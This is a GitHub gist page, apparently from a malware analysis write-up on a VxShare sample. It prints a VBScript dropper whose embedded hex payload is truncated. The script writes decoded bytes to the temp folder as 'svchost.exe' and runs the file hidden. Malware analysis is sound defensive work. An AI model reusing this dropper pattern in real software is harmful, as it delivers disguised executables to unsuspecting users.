Skip to content

Instantly share code, notes, and snippets.

@xorhex

xorhex/VxShare Random Sample 1, 1 - Code Snippet 1 - Dropper script with the value of `WriteData` truncated.

Created September 17, 2019 01:29
Show Gist options
  • Save xorhex/6049e8245c6646f56618fc2f32f12a83 to your computer and use it in GitHub Desktop.
Save xorhex/6049e8245c6646f56618fc2f32f12a83 to your computer and use it in GitHub Desktop.
Download ZIP
Code Snippet 1 - Dropper script with the value of `WriteData` truncated.
Raw
VxShare Random Sample 1, 1 - Code Snippet 1 - Dropper script with the value of `WriteData` truncated.
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A...."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment